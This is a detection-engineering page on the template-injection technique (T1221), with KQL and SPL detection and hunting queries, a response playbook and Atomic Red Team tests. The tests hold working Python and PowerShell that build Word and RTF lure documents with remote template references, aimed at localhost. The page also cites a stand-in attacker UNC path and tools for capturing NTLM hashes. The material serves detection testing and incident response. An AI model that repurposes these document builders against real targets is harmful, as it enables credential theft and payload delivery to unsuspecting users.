T1221

Template Injection

Defense Evasion Last updated:

Adversaries abuse template references embedded in Office Open XML (OOXML) documents and RTF files to conceal and deliver malicious payloads. DOCX, XLSX, and PPTX files are ZIP archives containing an XML relationship file (word/_rels/document.xml.rels) that can reference an external template URL via an attachedTemplate relationship. When the document is opened, the Office application fetches the remote template, which may deliver VBA macros, exploits, or shellcode that are absent from the original lure document — bypassing static file analysis. RTF files can be modified to include a \*\template control word pointing to a remote URL, triggering a fetch on open. Both vectors are used to deliver malicious macros (APT28 remote template macro delivery), execute exploits (Confucius, WarzoneRAT via RTF exploit embedding), or capture NTLM credentials by injecting SMB UNC paths that trigger forced authentication (Dragonfly, DarkHydrus/Phishery). Real-world campaigns frequently deliver these lures via phishing (T1566) or tainted shared content (T1080). The technique is effective because the initial document contains no traditional indicators — no embedded VBA, no OLE streams, no scripts — making gateway scanning and sandboxes that do not perform dynamic network fetching ineffective.

What is T1221 Template Injection?

Template Injection (T1221) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for Template Injection, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Process: Process Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion
Technique
T1221 Template Injection
Canonical reference
https://attack.mitre.org/techniques/T1221/
Microsoft Sentinel / Defender
kusto
let OfficeApps = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe", "msaccess.exe", "visio.exe"]);
let MicrosoftInfra = dynamic([
  "microsoft.com", "office.com", "live.com", "microsoftonline.com",
  "windows.net", "sharepoint.com", "officecdn.microsoft.com",
  "officecdna.microsoft.com", "skype.com", "bing.com", "msecnd.net",
  "msftncsi.com", "trafficmanager.net", "azure.com", "azurefd.net"
]);
// Branch 1: Office apps fetching remote templates via HTTP/HTTPS from non-Microsoft hosts
let RemoteHTTPFetch = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (OfficeApps)
| where RemotePort in (80, 443, 8080, 8443)
| where RemoteIPType == "Public"
| where not(RemoteUrl has_any (MicrosoftInfra))
| extend AlertType = "RemoteTemplateFetch"
| extend RiskDetail = strcat("Office process ", InitiatingProcessFileName, " fetched external URL: ", RemoteUrl)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessId,
          RemoteIP, RemotePort, RemoteUrl, AlertType, RiskDetail;
// Branch 2: Office apps connecting to SMB port — forced NTLM authentication
let ForcedAuthSMB = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (OfficeApps)
| where RemotePort == 445
| where RemoteIPType in ("Public", "Private")
| extend AlertType = "ForcedAuthSMB_NTLMCapture"
| extend RiskDetail = strcat("Office process ", InitiatingProcessFileName, " initiated SMB connection to ", RemoteIP, ":445 — potential NTLM hash capture")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessId,
          RemoteIP, RemotePort, RemoteUrl, AlertType, RiskDetail;
// Branch 3: Child process spawned directly by Office — indicates payload execution post-template-load
let OfficeChildExec = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (OfficeApps)
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe",
                       "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
                       "certutil.exe", "bitsadmin.exe", "wmic.exe", "msiexec.exe",
                       "svchost.exe", "conhost.exe")
| extend AlertType = "OfficeChildProcess_PostTemplateExec"
| extend RiskDetail = strcat("Office process ", InitiatingProcessFileName, " spawned ", FileName, " — possible macro/exploit execution after template load")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AlertType, RiskDetail;
RemoteHTTPFetch
| union ForcedAuthSMB
| union (OfficeChildExec | project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessId = "", RemoteIP = "", RemotePort = 0,
          RemoteUrl = "", AlertType, RiskDetail)
| sort by Timestamp desc

Three-branch detection for T1221 Template Injection using Microsoft Defender for Endpoint tables. Branch 1 (DeviceNetworkEvents) detects Office applications fetching remote HTTP/HTTPS resources from non-Microsoft infrastructure — the network call triggered when an OOXML document with an injected attachedTemplate relationship is opened. Branch 2 (DeviceNetworkEvents) detects Office applications initiating SMB (port 445) connections indicative of Forced Authentication attacks where injected UNC paths cause NTLM credential leakage. Branch 3 (DeviceProcessEvents) detects child processes spawned by Office applications, indicating a remote template containing macros or exploits was successfully fetched and executed. Microsoft infrastructure URLs are explicitly excluded to reduce noise from legitimate Office telemetry and update connections.

high severity high confidence

Data Sources

Network Traffic: Network Connection Creation Process: Process Creation Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents DeviceProcessEvents

False Positives

  • Corporate document management systems (SharePoint on-premise, Confluence, custom DMS) that serve legitimate .dotx/.dotm template files to Office clients — add their hostnames/IPs to the exclusion list
  • Office Click-to-Run (C2R) update and telemetry processes share the same process names and may make external connections — validate against known Microsoft CDN IP ranges
  • Macro-enabled templates in enterprise environments where business workflows legitimately use remote templates (e.g., HR or finance template servers) — allowlist specific internal template server FQDNs
  • Branch 3 child process detection will fire on legitimate Office add-ins, COM automation, and scripted Office workflows (e.g., VBA calling WScript for file operations) — baseline expected parent-child pairs per environment
  • RTF documents produced by legal or financial software platforms that embed legitimate template references to external servers

Sigma rule & cross-platform mapping

The detection logic for Template Injection (T1221) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1OOXML Remote Template Injection — DOCX with External attachedTemplate

    Expected signal: When document is opened in Word: Sysmon Event ID 3 with Image=winword.exe, DestinationIp=127.0.0.1, DestinationPort=8080. Sysmon Event ID 22 (DNS Query) if a FQDN is used instead of localhost. DeviceNetworkEvents in MDE will show InitiatingProcessFileName=winword.exe with RemoteIP=127.0.0.1 and RemotePort=8080. The connection will be refused (no listener) but the event fires before the TCP RST.

  2. Test 2RTF Template Injection — \*\template Control Word with HTTP URL

    Expected signal: When opened in Word: Sysmon Event ID 3 with Image=winword.exe, DestinationIp=127.0.0.1, DestinationPort=8080. DeviceFileEvents may show the RTF file being read from its download location. The RTF \*\template control word triggers the same network fetch mechanism as the OOXML attachedTemplate relationship.

  3. Test 3Forced Authentication via SMB UNC Template Reference

    Expected signal: Sysmon Event ID 3 with Image=winword.exe, DestinationPort=445, DestinationIp=127.0.0.1. On a real attack with an external IP: Security Event ID 4648 (explicit credential use) or 4624 (NTLM logon type 3) on the domain controller. Sysmon Event ID 22 may show DNS lookup if a hostname is used instead of IP. DeviceNetworkEvents in MDE shows InitiatingProcessFileName=winword.exe, RemotePort=445.

  4. Test 4Phishery-style Template URL Injection into Existing DOCX

    Expected signal: File creation events (Sysmon EventCode=11) for both the original and injected DOCX in %TEMP%. When the injected DOCX is opened: Sysmon EventCode=3 from winword.exe to 127.0.0.1:8080. The manipulation of the ZIP archive using System.IO.Compression is visible as PowerShell process events (Sysmon EventCode=1) before the Office network event — the chain of PowerShell→file creation→Office network connection is the full kill chain telemetry.

  5. Test 5Verify Template Injection Document Structure — Manual Inspection

    Expected signal: PowerShell process creation (Sysmon EventCode=1) with command line containing System.IO.Compression.ZipFile. No network events — this is static analysis only. The script outputs the injected URL to the console, confirming the template injection payload is present before any execution occurs.


Response Playbook

Triage

  1. Identify the alert type: RemoteTemplateFetch (HTTP/HTTPS to external host), ForcedAuthSMB (port 445 SMB connection), or OfficeChildProcess (child spawn after template load). Each has a different triage path.
  2. For RemoteTemplateFetch: Extract the destination URL/IP from the alert. Pivot to DeviceNetworkEvents to get the full URL if truncated. Query VirusTotal, URLhaus, or your threat intel platform for the domain/IP reputation. Determine if the domain was recently registered (last 30 days = high risk).
  3. For ForcedAuthSMB: Immediately check Security Event ID 4624/4625/4648 on your domain controllers for NTLM authentication attempts originating from the affected endpoint around the same timestamp. Net-NTLMv2 hashes may already be captured by an attacker if the SMB connection reached an external host.
  4. For OfficeChildProcess: Examine the full command line of the spawned child process — was it a benign Office COM call (e.g., DCOM launching a registered handler), or did it execute a payload (encoded PowerShell, script download, regsvr32 with URL)? Check InitiatingProcessCommandLine for the Office document path.
  5. Identify the document that triggered the event: use DeviceFileEvents to find .docx/.xlsx/.pptx/.rtf files opened in the 60 seconds before the alert. Extract the file path and hash.
  6. Determine delivery vector: check email gateway logs (MX, O365 MessageTrace, Proofpoint) for inbound emails with the document as an attachment delivered within the last 2 hours. Check web proxy logs for browser-downloaded documents.
  7. Assess the user — is this a high-value target (executive, finance, IT admin, HR)? Was the document opened shortly after receiving an unexpected email? Does the user normally receive documents from external parties?

Containment

  1. If ForcedAuthSMB confirmed and the SMB connection reached an external IP: treat the Net-NTLMv2 hash as compromised. Force a password reset for the affected user immediately and notify the AD team. If the user is a service account or admin, escalate to P1 and rotate all associated credentials.
  2. If RemoteTemplateFetch confirmed with a malicious payload fetched: isolate the endpoint via EDR network isolation or VLAN ACL change. Block the template delivery domain/IP at the proxy, DNS sinkhole, and firewall egress rules.
  3. If OfficeChildProcess confirmed with a malicious child process: isolate the endpoint immediately. The template was successfully loaded and executed — assume full process-level compromise. Collect a memory dump of the Office process and any spawned children before isolation.
  4. Block the malicious document hash at the email gateway, endpoint DLP, and cloud storage (O365 Safe Attachments policy, Defender for Office 365 block list).
  5. If lateral movement is suspected (e.g., the spawned child performed network enumeration or used PsExec/WMI): isolate additional affected hosts, reset Kerberos service account tickets (klist purge on affected hosts), and initiate a wider incident scope assessment.
  6. Preserve the original document for forensic analysis — do not delete it. Copy to an isolated evidence share before remediation.

Evidence Collection

  1. The original OOXML document: extract the ZIP archive manually (rename .docx to .zip) and inspect word/_rels/document.xml.rels for attachedTemplate relationship targets. For RTF files, hex-dump or open in a text editor and search for the \*\template control word followed by the injected URL.
  2. Sysmon Event ID 3 (Network Connection): collect Source/DestinationIP, port, DestinationHostname, and the exact process path that initiated the connection.
  3. Sysmon Event ID 1 (Process Creation): collect Image, CommandLine, ParentImage, ParentCommandLine, ProcessGuid, and ParentProcessGuid for the full process chain from Office to any spawned children.
  4. Sysmon Event ID 11 (File Create): look for .dotx, .dotm, .dot, .xlt, .xltx, .potx files created in %TEMP%, %APPDATA%\Microsoft\Templates, or %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files in the time window of the alert.
  5. Security Event ID 4624/4625/4648 on domain controllers: filter for NTLM authentication (Logon Type 3, Authentication Package NTLM) from the affected workstation in the alert time window — confirms if NTLM credentials were relayed or captured.
  6. Office protected view and trust center logs: check HKCU\Software\Microsoft\Office\<version>\Word\Security\Trusted Documents for auto-trusted document paths. Check Event Log: Microsoft-Windows-OAlerts/Operational for Office security prompt events.
  7. Proxy/firewall egress logs: confirm whether the template URL connection succeeded (HTTP 200) or was blocked. A 200 means the template was delivered — treat as confirmed payload delivery.
  8. Memory forensics (if endpoint isolated): use a tool like Volatility or WinPmem to dump memory from the Office process (winword.exe PID) and scan for injected shellcode, loaded template content, or suspicious DLLs loaded from the remote template.

Escalation Criteria

  • ! ForcedAuthSMB connection confirmed to an external IP and domain controller NTLM logs show an outbound authentication attempt from the endpoint — Net-NTLMv2 hash is likely captured, escalate to Critical and initiate password rotation.
  • ! RemoteTemplateFetch returned HTTP 200 and an Office child process (powershell.exe, cmd.exe, mshta.exe) was spawned within 30 seconds — template payload was delivered and executed, escalate to Critical.
  • ! Lateral movement indicators after template execution: SMB connections to other internal hosts, use of PsExec/WMI/WinRM from the affected endpoint, or authentication attempts with the compromised user against other systems.
  • ! Multiple endpoints showing the same document hash or the same template injection URL within a short time window — indicates an active phishing campaign targeting the organization, escalate to threat hunt across all endpoints.
  • ! The affected user account has elevated privileges (domain admin, exchange admin, finance roles) — the blast radius of credential compromise is high, escalate immediately.
  • ! Anti-forensic indicators: the spawned child process deleted the original document, cleared event logs (Event ID 1102), or unloaded Sysmon — indicates a capable threat actor attempting to cover tracks.

Investigation Guide

Forensic Artifacts

  • > File System: word/_rels/document.xml.rels inside the OOXML ZIP — contains the attachedTemplate Relationship element with the injected URL as the Target attribute with TargetMode='External'
  • > File System: %APPDATA%\Microsoft\Templates\ — Office may cache downloaded templates here under the original filename or a GUID-based name
  • > File System: %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\ — Office WebDAV and template download cache
  • > File System: %TEMP%\*.dotx, %TEMP%\*.dotm — downloaded template files staged in temp directory before loading
  • > Registry: HKCU\Software\Microsoft\Office\<version>\Word\Security\Trusted Documents\TrustRecords — records documents the user auto-trusted, including file hash and timestamp
  • > Registry: HKCU\Software\Microsoft\Office\<version>\Common\Internet\Server Cache — cached URLs of remote resources accessed by Office
  • > Event Log: Microsoft-Windows-OAlerts/Operational — Office security prompts triggered when a remote template requires user consent (if Protected View is active)
  • > Event Log: Microsoft-Windows-Security-Auditing (Security) Event ID 4648 — explicit NTLM authentication attempt logged when forced authentication fires
  • > Network: DNS query logs for the template delivery domain — use Sysmon Event ID 22 (DNS Query) or DNS server logs to confirm the Office process performed a DNS lookup for the template host
  • > RTF-specific: The \*\template control word followed by a URL within the RTF binary — detectable by searching raw file bytes for the pattern '{\*\template http' or '{\*\template \\' (UNC path)

Tuning Guidance

Begin by inventorying all legitimate external template sources in your environment — corporate intranet template servers, third-party document platforms, and any cloud document services (Box, Dropbox Business, DocuSign) that Office may connect to. Add these hostnames to the exclusion list in the KQL/SPL MicrosoftInfra variable rather than suppressing by process alone. For the forced authentication branch (port 445), keep sensitivity high — Office processes should almost never connect to SMB on external IPs; internal SMB connections warrant investigation but are lower priority. For the child process branch, build a baseline of expected Office→child process pairs by collecting data for 2 weeks before enabling alerting. Common legitimate patterns include Office spawning cmd.exe for shell: protocol links, Excel spawning dllhost.exe for COM automation, and Word spawning msiexec.exe when macros trigger installations. Add allowlist entries as process+commandline exact-match tuples, never by process name alone. In environments with high VBA macro usage, consider requiring two signals simultaneously (e.g., network fetch + child spawn within 60 seconds of the same Office PID) to reduce noise. Enable Sysmon Event ID 22 (DNS Query) if not already collecting it — it provides earlier warning than network connection events and catches template fetches even when the firewall blocks the TCP connection.


Hunting Queries

Hunt for Office processes loading DLLs from non-standard directories (Temp, Downloads, template cache). Template injection payloads may drop and load DLLs from these locations. Low-frequency loads (fewer than 5) from these paths are suspicious — legitimate Office DLLs load from Program Files or Windows system directories. Complements the main detection by catching cases where the template delivered a DLL payload rather than spawning a child process.

Hunting — KQL
kql
// Hunt: Office processes loading DLLs from template cache or temp directories
// Different from main detection — focuses on image load events post-template-fetch
DeviceImageLoadEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe", "msaccess.exe")
| where FolderPath has_any (
    @"\Temp\", @"\AppData\Local\Temp\", @"\Downloads\",
    @"\Content.Word\", @"\AppData\Roaming\Microsoft\Templates\"
  )
| where FileName endswith ".dll"
| summarize LoadCount=count(), Devices=dcount(DeviceName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
            SHA256s=make_set(SHA256, 10) by FileName, FolderPath, InitiatingProcessFileName
| where LoadCount < 5
| sort by LoadCount asc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
(Image="*\\winword.exe" OR Image="*\\excel.exe" OR Image="*\\powerpnt.exe" OR Image="*\\mspub.exe" OR Image="*\\msaccess.exe")
(ImageLoaded="*\\Temp\\*" OR ImageLoaded="*\\Downloads\\*" OR ImageLoaded="*\\Content.Word\\*" OR ImageLoaded="*\\AppData\\Roaming\\Microsoft\\Templates\\*")
ImageLoaded="*.dll"
| stats count as LoadCount, dc(host) as Devices, min(_time) as FirstSeen, max(_time) as LastSeen, values(Hashes) as Hashes by ImageLoaded, Image
| where LoadCount < 5
| sort LoadCount

Hunt for NTLM authentication events on domain controllers that correlate (within 5 minutes) with Office process SMB connections detected by Sysmon. Forced authentication attacks inject a UNC path (\\attacker-ip\share\evil.dotx) into the template reference, causing the Office application to authenticate via NTLM to the attacker's SMB server. This join across Sysmon network events and Windows Security Event ID 4624/4625/4648 confirms whether the NTLM challenge-response was actually sent — indicating the hash may have been captured for offline cracking.

Hunting — KQL
kql
// Hunt: NTLM authentication events from DCs correlated with Office document opens
// Detects forced authentication credential capture — different signal than network connection detection
let OfficeNetworkAlerts = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe", "msaccess.exe")
| where RemotePort == 445
| project AlertTime=Timestamp, DeviceName, AccountName;
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID in (4624, 4625, 4648)
| where AuthenticationPackageName == "NTLM"
| where LogonType == 3
| project LogonTime=TimeGenerated, WorkstationName, TargetUserName, IpAddress, EventID
| join kind=inner OfficeNetworkAlerts on $left.WorkstationName == $right.DeviceName
| where abs(datetime_diff('minute', LogonTime, AlertTime)) <= 5
| project LogonTime, AlertTime, WorkstationName, TargetUserName, IpAddress, EventID
| sort by LogonTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(Image="*\\winword.exe" OR Image="*\\excel.exe" OR Image="*\\powerpnt.exe" OR Image="*\\mspub.exe" OR Image="*\\msaccess.exe")
DestinationPort=445
| eval smb_time=_time, smb_host=host, smb_user=User, smb_dest=DestinationIp
| table smb_time, smb_host, smb_user, smb_dest
| join type=inner smb_host
  [search index=wineventlog sourcetype="WinEventLog:Security" (EventCode=4624 OR EventCode=4625 OR EventCode=4648) AuthenticationPackageName=NTLM LogonType=3
   | eval dc_time=_time
   | table dc_time, host, TargetUserName, IpAddress, EventCode]
| eval time_diff=abs(smb_time - dc_time)
| where time_diff <= 300
| table smb_time, dc_time, smb_host, smb_user, smb_dest, TargetUserName, IpAddress, EventCode
| sort - smb_time

Hunt for Office processes performing DNS lookups for external domains that have been seen fewer than 3 times across the environment in the past 14 days, with the first occurrence within the last 7 days. Template injection campaigns typically use newly-registered domains for template delivery infrastructure. Low-frequency, recently-first-seen external DNS lookups from Office processes are high-confidence indicators of campaign infrastructure. This uses Sysmon Event ID 22 (DNS Query) rather than network connections, catching cases where DNS was resolved but the TCP connection was blocked at the firewall.

Hunting — KQL
kql
// Hunt: Identify OOXML documents with recently registered external template domains
// Looks for documents opened whose process subsequently made DNS queries to newly-seen domains
let OfficeTemplateFetches = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe", "msaccess.exe")
| where RemotePort in (80, 443)
| where RemoteIPType == "Public"
| summarize FirstSeen=min(Timestamp), FetchCount=count(), Devices=dcount(DeviceName)
  by RemoteUrl, InitiatingProcessFileName
| where FetchCount <= 3
| where FirstSeen > ago(7d)
| project RemoteUrl, FirstSeen, FetchCount, Devices, InitiatingProcessFileName
| sort by FirstSeen desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
(Image="*\\winword.exe" OR Image="*\\excel.exe" OR Image="*\\powerpnt.exe" OR Image="*\\mspub.exe" OR Image="*\\msaccess.exe")
NOT (QueryName="*.microsoft.com" OR QueryName="*.office.com" OR QueryName="*.live.com" OR QueryName="*.microsoftonline.com" OR QueryName="*.windows.net" OR QueryName="*.sharepoint.com" OR QueryName="*.bing.com" OR QueryName="*.msn.com")
| stats count as QueryCount, dc(host) as Devices, min(_time) as FirstSeen, max(_time) as LastSeen by QueryName, Image
| where QueryCount <= 3
| where FirstSeen > relative_time(now(), "-7d")
| sort FirstSeen

Atomic Red Team Tests

Test 1 OOXML Remote Template Injection — DOCX with External attachedTemplate
windows

Creates a minimal DOCX file with a remote template reference injected into word/_rels/document.xml.rels. When opened in Microsoft Word, Word will attempt to fetch the specified URL as a .dotx template. The URL points to localhost:8080 (safe — connection fails but the network attempt and DNS lookup are logged). This directly replicates the technique used by APT28 and Chaes malware.

Command

powershell
python3 -c "
import zipfile, os, tempfile
tmpdir = tempfile.gettempdir()
docx = os.path.join(tmpdir, 'T1221_test.docx')
url = 'http://127.0.0.1:8080/evil.dotx'
files = {
    '[Content_Types].xml': '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/word/document.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\"/></Types>',
    '_rels/.rels': '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"word/document.xml\"/></Relationships>',
    'word/document.xml': '<w:document xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"><w:body><w:p><w:r><w:t>Template Injection Test</w:t></w:r></w:p></w:body></w:document>',
    'word/_rels/document.xml.rels': f'<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate\" Target=\"{url}\" TargetMode=\"External\"/></Relationships>'
}
with zipfile.ZipFile(docx, 'w', zipfile.ZIP_DEFLATED) as z:
    for name, content in files.items():
        z.writestr(name, content)
print(f'Created: {docx} — open in Word to trigger template fetch to {url}')
"

Cleanup

powershell
python3 -c "import os, tempfile; p=os.path.join(tempfile.gettempdir(),'T1221_test.docx'); os.remove(p) if os.path.exists(p) else None"

Expected Telemetry

When document is opened in Word: Sysmon Event ID 3 with Image=winword.exe, DestinationIp=127.0.0.1, DestinationPort=8080. Sysmon Event ID 22 (DNS Query) if a FQDN is used instead of localhost. DeviceNetworkEvents in MDE will show InitiatingProcessFileName=winword.exe with RemoteIP=127.0.0.1 and RemotePort=8080. The connection will be refused (no listener) but the event fires before the TCP RST.

Expected Detection

Main KQL Branch 1 (RemoteHTTPFetch) fires — InitiatingProcessFileName=winword.exe, RemotePort=8080. For testing with a public IP/domain in the template URL, also triggers Sysmon Event ID 22 DNS query. SPL EventCode=3 branch fires with IsRemoteFetch=1, RiskScore=60.

Test 2 RTF Template Injection — \*\template Control Word with HTTP URL
windows

Creates a minimal RTF file containing the \*\template control word pointing to a remote HTTP URL. This replicates the technique used by Gamaredon Group and Proofpoint-documented RTF injection campaigns. When opened in Word, the application attempts to fetch the template from the specified URL. The \*\template destination overrides the normal template loading behavior.

Command

powershell
powershell.exe -Command "$rtf = '{\rtf1\ansi\deff0{\*\template http://127.0.0.1:8080/malicious.dotx}{\fonttbl{\f0\froman\fcharset0 Times New Roman;}}{\colortbl ;\red0\green0\blue0;}\f0\pard\cf1 This is an RTF template injection test document.\par}'; $p = \"$env:TEMP\\T1221_rtf_test.rtf\"; [System.IO.File]::WriteAllText($p, $rtf, [System.Text.Encoding]::ASCII); Write-Host \"Created: $p — open in Word to trigger RTF template fetch\""

Cleanup

powershell
powershell.exe -Command "Remove-Item -Path \"$env:TEMP\\T1221_rtf_test.rtf\" -ErrorAction SilentlyContinue"

Expected Telemetry

When opened in Word: Sysmon Event ID 3 with Image=winword.exe, DestinationIp=127.0.0.1, DestinationPort=8080. DeviceFileEvents may show the RTF file being read from its download location. The RTF \*\template control word triggers the same network fetch mechanism as the OOXML attachedTemplate relationship.

Expected Detection

Main KQL Branch 1 (RemoteHTTPFetch) fires on the network connection attempt. Same Sysmon/SPL EventCode=3 trigger as DOCX test. Note: the creation of the RTF itself is detectable as a file write to %TEMP% (Sysmon EventCode=11) if monitoring temp directory file creation.

Test 3 Forced Authentication via SMB UNC Template Reference
windows

Creates a DOCX with an SMB UNC path (\\127.0.0.1\share\evil.dotx) as the attachedTemplate target. When opened, Word attempts NTLM authentication to the SMB share to load the template. In a real attack, the attacker substitutes their IP for localhost and uses Responder or Impacket ntlmrelayx to capture the Net-NTLMv2 hash. This test uses localhost to keep it contained.

Command

powershell
python3 -c "
import zipfile, os, tempfile
tmpdir = tempfile.gettempdir()
docx = os.path.join(tmpdir, 'T1221_smb_auth.docx')
smb_url = 'file:////127.0.0.1/share/evil.dotx'
files = {
    '[Content_Types].xml': '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/word/document.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\"/></Types>',
    '_rels/.rels': '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"word/document.xml\"/></Relationships>',
    'word/document.xml': '<w:document xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"><w:body><w:p><w:r><w:t>SMB Forced Auth Test</w:t></w:r></w:p></w:body></w:document>',
    'word/_rels/document.xml.rels': f'<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate\" Target=\"{smb_url}\" TargetMode=\"External\"/></Relationships>'
}
with zipfile.ZipFile(docx, 'w', zipfile.ZIP_DEFLATED) as z:
    for name, content in files.items():
        z.writestr(name, content)
print(f'Created: {docx} — open in Word to trigger SMB auth attempt to {smb_url}')
"

Cleanup

powershell
python3 -c "import os, tempfile; p=os.path.join(tempfile.gettempdir(),'T1221_smb_auth.docx'); os.remove(p) if os.path.exists(p) else None"

Expected Telemetry

Sysmon Event ID 3 with Image=winword.exe, DestinationPort=445, DestinationIp=127.0.0.1. On a real attack with an external IP: Security Event ID 4648 (explicit credential use) or 4624 (NTLM logon type 3) on the domain controller. Sysmon Event ID 22 may show DNS lookup if a hostname is used instead of IP. DeviceNetworkEvents in MDE shows InitiatingProcessFileName=winword.exe, RemotePort=445.

Expected Detection

Main KQL Branch 2 (ForcedAuthSMB) fires — InitiatingProcessFileName=winword.exe, RemotePort=445. SPL fires with IsForcedAuth=1, RiskScore=90 (highest risk score). In a real-world scenario with an external IP, the hunting query joining Sysmon EventCode=3 with DC Security log NTLM events would also fire.

Test 4 Phishery-style Template URL Injection into Existing DOCX
windows

Simulates the Phishery tool used by DarkHydrus — opens an existing DOCX file (or creates one) and injects a remote template URL by directly modifying the word/_rels/document.xml.rels XML within the ZIP archive. This replicates the method used by threat actors who modify otherwise legitimate documents to add the template injection, rather than crafting documents from scratch.

Command

powershell
powershell.exe -Command "
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.IO.Compression.FileSystem
$src = \"$env:TEMP\\T1221_orig.docx\"
$dst = \"$env:TEMP\\T1221_injected.docx\"
$turl = 'http://127.0.0.1:8080/stage2.dotx'
# Create minimal source DOCX
$ct = '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/word/document.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\"/></Types>'
$rels = '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"word/document.xml\"/></Relationships>'
$doc = '<w:document xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"><w:body><w:p><w:r><w:t>Benign Document</w:t></w:r></w:p></w:body></w:document>'
$wrels = '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"></Relationships>'
$ms = New-Object System.IO.MemoryStream
$z = New-Object System.IO.Compression.ZipArchive($ms,[System.IO.Compression.ZipArchiveMode]::Create,\$true)
foreach($e in @(@('[Content_Types].xml',$ct),@('_rels/.rels',$rels),@('word/document.xml',$doc),@('word/_rels/document.xml.rels',$wrels))){
  $en=$z.CreateEntry($e[0]); $sw=New-Object System.IO.StreamWriter($en.Open()); $sw.Write($e[1]); $sw.Close()
}
$z.Dispose(); [System.IO.File]::WriteAllBytes($src, $ms.ToArray()); $ms.Dispose()
# Inject template URL into a copy
Copy-Item $src $dst
$dstZ = [System.IO.Compression.ZipFile]::Open($dst,[System.IO.Compression.ZipArchiveMode]::Update)
$entry = $dstZ.GetEntry('word/_rels/document.xml.rels')
$sr = New-Object System.IO.StreamReader($entry.Open())
$content = $sr.ReadToEnd(); $sr.Close()
$injected = $content -replace '</Relationships>', \"<Relationship Id='rId99' Type='http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate' Target='$turl' TargetMode='External'/></Relationships>\"
$entry.Delete()
